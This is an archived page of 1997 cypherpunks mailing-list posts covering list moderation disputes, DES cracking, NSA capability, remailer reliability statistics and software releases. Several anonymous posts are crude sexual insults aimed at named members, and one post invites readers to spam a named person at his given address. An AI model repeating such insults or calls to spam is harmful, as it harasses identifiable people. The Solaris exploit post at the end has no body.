December 2003 - cypherpunks-legacy

Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

Return-Path: <autoresponder(a)WhiteHouse.gov> Received: from WhiteHouse.gov (whitehouse.gov [198.137.241.30]) by falcon.inetnebr.com (8.8.5/8.8.5) with ESMTP id TAA05593 for <scndsun(a)inetnebr.com>; Sun, 9 Feb 1997 19:25:39 -0600 (CST) From: autoresponder(a)WhiteHouse.gov Received: (from uucp@localhost) by WhiteHouse.gov (8.7.1/uucp-relay) id UAA01520; Sun, 9 Feb 1997 20:24:32 -0500 (EST) Date: Sun, 9 Feb 1997 20:24:32 -0500 (EST) Message-Id: <199702100124.UAA01520(a)WhiteHouse.gov> X-AutoReplying-To: scndsun(a)inetnebr.com Subject: Re: message to USSA House of Representatives To: scndsun(a)inetnebr.com X-UIDL: f16144392bbe54c5667860b9458f5526 Thank you for writing to President Clinton via electronic mail. Since June, 1993, whitehouse.gov has received over one million messages from people across the country and around the world. Because so many of you write, the President cannot personally review each message. The mail is first read by White House Correspondence staff. Your concerns, ideas, and suggestions are carefully recorded and communicated to the President weekly with a representative sampling of the mail. We are excited about the progress of online communication as a tool to bring government and the people closer together. Your continued interest and participation are very important to that goal. Sincerely, Stephen K. Horn Director, Presidential Email The Office of Correspondence P.S. Please read on - you may find the following information useful. -- This is the only electronic message you will receive from whitehouse.gov. No other message purporting to be from the President or his staff with an address at whitehouse.gov is authentic. If you have received such a message, you have been spoofed. -- You will receive only one autoresponder message per day. -- The only personal addresses at whitehouse.gov are the following: President(a)whitehouse.gov Vice.President(a)whitehouse.gov First.Lady(a)whitehouse.gov Please write to Mrs. Gore and other White House staff by regular mail. The address is: The White House, Washington, D.C. 20500. -- On October 20, 1994, President Clinton and Vice President Gore opened a World Wide Web home page called "Welcome to the White House: An Interactive Citizens' Handbook" and it remains one of the more popular spots on the Web. The White House home page provides, among other things, a single point of access to all government information available electronically on the Internet. "Welcome to the White House" can be accessed at: http://www.whitehouse.gov -- White House documents and publications are available on the World Wide Web (see above) and by email. To receive instructions on retrieving documents by email, please send a message to the following address: publications(a)whitehouse.gov In the body of your message, type "Send Info" (without quotes); do not include other text (such as message headers or signature lines (.sig files)). The instructions will be sent to you automatically. **************************************************************** List of Clinton Administration Accomplishments (three documents compose the whole): To: publications(a)whitehouse.gov Message body: send file 317571 send file 317573 send file 317575 **************************************************************** -- The White House Public Access Email FAQ (Frequently Asked Questions) document is available at the following address. The FAQ, among other things, lists alternate sources of government information, i.e., the Congressional email projects. Send an email message (no text necessary) to: faq(a)whitehouse.gov (This FAQ address is an autoresponder only; any comment sent to this address will not be acknowledged.) ---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

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Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

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Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

You're going to have to find a way to make this junk, piss juvenile crap stop coming into my e-mail box. Period. ---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

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Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

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Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

You're giong to have to find a way to get me off of your piss-ant mailing list. ---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

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Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

You're going to have to fine a way to get me off of your piss-ant mailing list. ---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

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Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

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Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

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Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

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Feb. 15 Meeting (fwd)
by Jim Choate 17 Dec '03

17 Dec '03

Forwarded message: >From owner-austin-cpunks(a)ssz.com Sun Feb 9 20:24:11 1997 From: Jim Choate <ravage(a)einstein.ssz.com> Message-Id: <199702100223.UAA04426@einstein> Subject: Feb. 15 Meeting To: austin-cpunks(a)einstein.ssz.com (Austin Cypherpunks) Date: Sun, 9 Feb 1997 20:23:43 -0600 (CST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 865 Sender: owner-austin-cpunks(a)einstein.ssz.com Precedence: bulk Reply-To: austin-cpunks(a)einstein.ssz.com Hi, Just a reminder that next Saturday, Feb. 15, 1997, is the next date set for a Austin Cypherpunks meeting. It is to be held at the Central Market HEB restaurant starting at 6pm. Look for the table with the 2nd. ed. (red cover) Applied Cryptography. The meeting is open to the public so remember to tell folks about it. On another issue, I and another Austin Cypherpunk have decided to start a distributed cypherpunks list. It would consist of some number of majordomo remailers, possibly with anonymous extensions, running customer scripts to allow membership on the mailing list to be distributed and hence (hopefuly) uncencorable. This will eventualy involve the re-birth of the anonymous remailer (kourier.ssz.com) project. Jim Choate ravage(a)ssz.com

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None
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Timothy `C' May's obsessive masturbation has lead to advanced degree of blindness and hairy palms. o-:^>___? Timothy `C' May `~~c--^c'

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[CRYPTO RELEVANT] Hardening mailing lists against spam attacks
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Degenerate L[oad] Vomit is the living proof that anal sex causes pregnancy. )_( [@ @] Degenerate L[oad] Vomit |/ \| \O/

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Re: My messages not appearing on either of the lists?
by Sean Roach 17 Dec '03

17 Dec '03

At 08:36 AM 2/7/97 -0800, Mike Duvos wrote: ... >Now that a few weeks have passed, I have decided that moderation delays >are the most annoying feature of the new experiment. I am subscribed to >the unedited list under another account, and its almost instantaneous >traffic is in great contrast to the time required for posts to trickle >through the Sandfort-Bot. ... >Messages apparently do not get moderated in the order in which they >are received. Some messages take a very long time, as other later >messages pass them by and are posted to the list. Again, I have no >explanation for this unusual behavior. Actually, I noticed that often times the posts were out of order when they got to me over about two months ago. This was probably due to my location on the mailing list heirachy, (another reason for a distributed list). I also remember there being a rather lengthy delay between my posting something to the list and it getting sent to me by toad. (I stayed at the computer reading other messages, erasing them and checking if any more had been sent. This was, is, my primary way of keeping my eudora disk from getting clogged to the point where it won't compress.) The problems that you describe aren't new to the list, mostly they are the product of a long list of subscribers. Although, manual moderation certainly adds time between posting and turnaround.

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Re: Black English
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

In a jerk-off competition Dr.Dopehead Vitriolic K[arcass]OfTheMonth finishes second, third and fifth. D\___/\ (0_o) Dr.Dopehead Vitriolic K[arcass]OfTheMonth (V) ---oOo--U--oOo---

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Ann: Encrypted disks for Windows NT (fwd)
by Rich Burroughs 17 Dec '03

17 Dec '03

Anyone seen this here? I wasn't sure if it had been posted, so I thought I'd pass it on. I have not looked at the software yet... Rich ---------- Forwarded message ---------- Date: Mon, 10 Feb 1997 03:18:03 +0200 (IST) From: softwinter(a)post1.com To: richieb(a)teleport.com Subject: Ann: Encrypted disks for Windows NT Soft Winter Corporation, February 10, 1997 released: Shade - strong encryption software for Windows NT. Shade allows you to create encrypted disk device inside a file. Such a device can then be formatted using any file system (like NTFS or FAT) and used as a regular disk. The only difference is that Shade will encrypt the data on every write operation and decrypt it on every read operation. To download go to: http://softwinter.bitbucket.co.il Soft Winter Corporation, softwinter(a)post1.com

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LInteger Version 0.2: A C++ MPILIB
by janke＠unixg.ubc.ca 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- LInteger is a set of C++ libraries supporting multiple precision integers. Also included are libraries supporting chain hash functions and pseudo-random number generators. The core multiple precision methods are coded in i386+ assembly language for high speed. The libraries will only compile under GNU's g++ compiler, and have only been tested under the Linux and Windows NT operating systems. It is anticipated that there should not be any problems compiling under Windows '95, however, and that compiling for OS/2 will only require minor hacking, if any. Included as a sample chain hash function is an i386+ assembly implementation of the Secure Hash Algorithm (FIPS 180-1). Included as a sample pseudo-random number generator is an implementation of a pseudo-random number generator described in Section 3.1 of FIPS 186 (the Digital Signature Standard). Complete HTML documentation is provided for all public and protected methods. The package is free for both commercial and non-commercial use. Some of the improvements of this release over version 0.1 include: - Pseudo-random number generation. - Probable prime generation. - Easier constructors. - MontyRep and ResidueClass classes. - ASCII I/O in bases 1 to 36. - Overloading of fstreams operators for storage on persistent media. - Easier exponentiation. - Pentium optimizations for multiplication and squaring. - A square root function (by special request). - 8+3 filenames (by special request). - Various bug fixes and speed improvements (and some slowdowns! :) ) The package is available for download at http://www.interchg.ubc.ca/janke/linteger.html The hashes for version 0.2 are MD5: 61f027957065b88a690def3557956d34 RIPE-MD128: a0e85d5f3429f074b4a4dd4303f829e0 SHA0: b8e65d49ae0ae3ab26741030c8ca03137e16b493 SHA1: c46317ad7e3a9ff38092269b21513dbf68c0e3ef RIPE-MD160: 2ef0f020d1312033af6e6f4aa72466878ef3abe1 -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBMv65lDjQF257xHLhAQG+TwQAhLaBP6z3nLKbBKcmSomPPE9G+r1z/tpD 5rA1p9ImwjJZnLAARiywdzH0bXS2n4Yf6jfPOUBZ0FMonNXLfkRJcXIgf0c16+mQ GeX2YYYxRQ+BWcUpzgZBe9y1Y7BJ/I4f0Qbu7jWHn6sOdv+qejxS6+Wos/6vVDoF 3LOfYCyG8Xs= =jnym -----END PGP SIGNATURE-----

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Re: Who's ahead: NSA or the private sector?
by Bill Stewart 17 Dec '03

17 Dec '03

That's not really a meaningful question. We can write codes they can't crack. They can write codes we can't crack. The cats are out of the bag, and David Aaron can't herd them back in. In some sense, the NSA is ahead of academia, because academia publishes, so they can read everything the Good Guys have done (less six months waiting to get published in journals :-), while the NSA seldom publishes. (There are also corporations doing non-published crypto work, but not much - they also see the value of open system review. And the KGB may have been good as well, but they're not in our face, and we can write codes the Russians and French can't crack either.) The NSA has almost certainly done more work on analyzing obscure Russian cryptosystems, but who knows how much of that is just brute force. But the real problems these days are engineering, not science*, so it's probably worth spotting them a few bits of keyspace just in case. The NSA is better able to come up with a few million dollars to build custom key-cracking hardware than industry is, so we have to presume they can do at least as well as a Wiener machine for cracking DES; they're certainly better at eavesdropping on calls than we are. I don't know if we can coordinate more workstations for a distributed crack, but they _could_ issue the FedCast Secure Screen Saver for all federal PCs; the only question is how much time would it spend cracking keys and how much grepping for suspicious files :-) There may still be radical changes in factoring technology, especially as computers get faster, but I doubt they'll do more in practice than force us to use longer keys, unless someone proves P=NP in the far mythical future or proves that factoring is in or near P. The interesting questions are at the boundaries of strong crypto and weak crypto - 40 bits is a nasty joke, DES is still interesting for things that don't have too much money riding on them, Skipjack is probably strong enough for a few years unless there's a second back door next to the one with the big "Cops Only" neon sign. How strong can we make something and still get export permission? Do we care? What are the threat models for different "Key Recovery" scams, and are we willing to write deliberatlely weak code to collaborate? Are the non-RSA public key systems good enough until the patent expires? There are some boundary problems that are interesting for non-political reasons - now that every toaster and digital wristwatch has an IP address and a few KB of RAM, what kind of useful crypto will fit in them? Key distribution is still interesting - how do you make a system that's convenient enough to use and secure enough to work? And distributed cracking systems are interesting, though the main uses for them are for cracking known-weak cryptosystems. Then there's the field of secure databases, which I think has both practical potential and scientific merit - how do you mix data together without leaking the secure stuff to unauthorized users, either directly or through combining lots of non-privileged data. [*Borrowing from Matt Blaze gratefully acknowledged.]

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RE: remailer-operators DEA agents?
by Butler, Scott 17 Dec '03

17 Dec '03

> >Again, I am only on the Flames list. So why was this message sent to the >Flames list? Because someone responded to a Vulis post? Is a response to a >Banned Message now grounds for rejection? > After whinghing about Dimitri and about people sending flames to the list, you only subscribe to the flames-list.... you just don't make sense Timmy. Scott

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RE: MODERATION
by Butler, Scott 17 Dec '03

17 Dec '03

Sandy writes: > >C'punks, > >I'm ending my participation in the moderation of the list. Well that was short and ..... errr bitter! > It would have been an interesting experiment if list members had >been open minded enough to give it a good faith effort. ^^^^^^^^^^^^^^^ There's a difference between being open minded and gullible Sandy. Nothing like ducking and running away when your little game didn't turn out the way that you wanted it to! This is not a flame, it is my opinion but none the less I'm sure that it will end up in the flames list or be conveniently lost in the masses of mail that John's majordomo receives every day. Scott. >

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What's next?
by Thomas Koenig 17 Dec '03

17 Dec '03

Now that we appear to be at a sustainable 300 MK/sec (which I could hardly believe at first :-), is there any chance we could be attacking the 56-bit DES key next? DES is rumoured to be faster than RC5; also, there are likely to be optimized assembler versions out there already. We could also make better use of 64-bit architectures, since DES uses 64-bit blocks. However (and this is a very big however), that's still a keyspace of 7.2*10^16 keys to search. Assuming 10^9 keys/second (three times our current speed, which may be attainable with a good DES implementation) that's still a bit over two years; too long by a factor of 10 or so. Soo.... How fast are current DES implementations? People could try des.c from the ssh distribution as a starting point. How much more computing power could we bring online? Do people have optimized DES for Alpha, UltraSparc, HP 8000 and all the other nifty 64-bit architectures? Does it make sense to use MMX or equivalent for DES? -- Thomas Koenig, Thomas.Koenig(a)ciw.uni-karlsruhe.de, ig25(a)dkauni2.bitnet. The joy of engineering is to find a straight line on a double logarithmic diagram.

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HIC_rim
by John Young 17 Dec '03

17 Dec '03

2-10-97 NYT has Page One lead on high resolution commercial "spy satellites," and the welter of political, social, economic and national security consequences as foreign governments, corporations and individuals hire them to invade privacy, secret sites and labs. A nearby story reports on organized crime's shift to new industries, especially those reliant on high technology: calling cards, stock offerings and health care. ----- HIC_rim

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[CRYPTO] Elliptic curves
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Timothy May's father, an idiot, stumbled across Timothy May's mother, an imbecile, when she had no clothes on. Nine months later she had a little moron. /\/\ \ / Timothy May \/

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Codebreakers delivered OK
by peter.allan＠aeat.co.uk 17 Dec '03

17 Dec '03

Gary, Thanks for the book, which arrived safely (last week, when I was on leave and tiling my bathroom). Cypherpunks, In mid-December I asked on this list whether people would recommend buying books from Gary Rasmussen. Message-Id: <9612131954.AA28856(a)clare.risley.aeat.co.uk> Subject: Would you send money to Gary Rasmussen ? I got several replies for, and none against. Thanks to those who replied. I am now pleased to add my data point. He has sent my copy of Kahn's Codebreakers. The delay from mid-December was almost entirely caused by banking issues. Money transfers are not as fast or cheap as I think they should be in 1997. Gary tells me he may in future get equipped to take credit cards. His catalogue contains stuff sure to interest anybody with plenty of time. Here is his comment: > NOTE: An additional benefit of ACA membership is eligibility for discounts > on a selection of new (unused) books on the history and practice of > traditional ciphers, codes, and signals intelligence from Classical Crypto > Books. For a free catalog, send email to RagyR(a)aol.com. -- Peter Allan peter.allan(a)aeat.co.uk

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Re: Who's Censoring Who?
by John Young 17 Dec '03

17 Dec '03

To Thorn and Cuckoo (great juxtaposition): Your exhortation and rhetoric are deft, but I'm not ready to take sides just yet. In fact, I can't figure what the sides are, if any, in this anti-herd of caterwauling anarchic cats. Instead, I'm relishing and laughing at the spitting and farting contest, and hoping this gameboying will prepare for the genuinely tough battles in high stakes info-wargames. There, wipe and sniff that exhort and rhet.

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Modified Clipper chip - HA!
by Rick Osborne 17 Dec '03

17 Dec '03

For all of you who didn't see the last X-Files ... Mulder made a visit to The Lone Gunman about breaking into some impenetrable system. Byers points out that "Yeah, that system is pretty hard to get into." Mulder then inquires "well how did you guys get in?". Byers replies cooly: "We used a modified Clipper chip we bought back from the Chinese." I didn't stop laughing for 5 minutes ... :) _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ "Women. You can't live with 'em. . . and yet they're everywhere."

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List of reliable remailers
by Raph Levien 17 Dec '03

17 Dec '03

I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list(a)kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys(a)kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list(a)kiwi.cs.berkeley.edu. $remailer{"extropia"} = "<remail(a)miron.vip.best.com> cpunk pgp special"; $remailer{"mix"} = "<mixmaster(a)remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = "<remailer(a)replay.com> cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = '<alias(a)alpha.c2.org> alpha pgp'; $remailer{'nymrod'} = '<nymrod(a)nym.jpunix.com> alpha pgp'; $remailer{"lead"} = "<mix(a)zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = "<remailer(a)remailer.nl.com> cpunk pgp hash latent cut ek"; $remailer{"haystack"} = "<haystack(a)holy.cow.net> cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = "<lucifer(a)dhp.com> cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = "<remailer(a)cypherpunks.ca> cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = "<winsock(a)rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = '<config(a)nym.alias.net> newnym pgp'; $remailer{"balls"} = "<remailer(a)huge.cajones.com> cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = "<mix(a)squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = "<middleman(a)jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = '<alias(a)alias.cyberpass.net> alpha pgp'; $remailer{"dustbin"} = "<dustman(a)athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = '<config(a)weasel.owl.de> newnym pgp'; $remailer{"death"} = "<x(a)deathsdoor.com> cpunk pgp hash latent post"; $remailer{"reno"} = "<middleman(a)cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = "<remailer(a)wazoo.com> cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = "<mix(a)mix.nymserver.com> cpunk mix pgp. hash latent cut"; catalyst(a)netcom.com is _not_ a remailer. lmccarth(a)ducie.cs.umass.edu is _not_ a remailer. usura(a)replay.com is _not_ a remailer. remailer(a)crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 10 Feb 97 6:46:24 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config(a)nym.alias.net **-#+*#*#*## 1:59 100.00% jam remailer(a)cypherpunks.ca ****** 8:22 99.98% wazoo remailer(a)wazoo.com *+++++ 33:48 99.97% weasel config(a)weasel.owl.de ++++++-++++ 1:05:51 99.84% lucifer lucifer(a)dhp.com ++++++++++++ 37:45 99.78% dustbin dustman(a)athensnet.com ----+-- .+++ 2:42:13 99.65% balls remailer(a)huge.cajones.com +-- **### *# 2:12 99.60% cyber alias(a)alias.cyberpass.net ++*+++*** *+ 30:13 99.59% haystack haystack(a)holy.cow.net *#-+###*##* 4:06 99.42% squirrel mix(a)squirrel.owl.de ++ +++-+ ++ 1:05:29 99.26% exon remailer(a)remailer.nl.com #* * ## **# 1:21 99.18% middle middleman(a)jpunix.com ---+-. +++ 2:51:34 98.78% replay remailer(a)replay.com +-***+*---+* 27:45 98.57% extropia remail(a)miron.vip.best.com .- ------- 4:46:55 98.08% reno middleman(a)cyberpass.net --+- .++ 1:27:14 96.63% mix mixmaster(a)remail.obscura.com +_ __.-*+ 22:42:38 93.53% winsock winsock(a)rigel.cyberpass.net ----.--- + 5:48:14 75.89% shaman mix(a)mix.nymserver.com 2:46 9.00% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien

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You guys/gals oughta get a kick outta this guy
by Rick Osborne 17 Dec '03

17 Dec '03

Yet another person who needs a good stern talking to by the nearest cypherpunk --- this guy posted to comp.lang.perl.misc with the following blasphemy, which I luaghed at until I had tears in my eyes. --BEGIN COMPLETE STUPIDITY-- I want to make it executable to protect the source code from being read. I don't want the source code available because I don't want people looking for security holes. --END COMPLETE STUPIDITY-- If anyone wants to spam this guy, or at least show him the error of his ways, his sig explains the necessary info: David K. djk490s(a)nic.smsu.edu _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ If the ionization rate is constant for all ectoplasmic entities, we could really bust some heads! In a spiritual sense, of course.

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Security hole in Sloaris 2.X ffbconfig + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

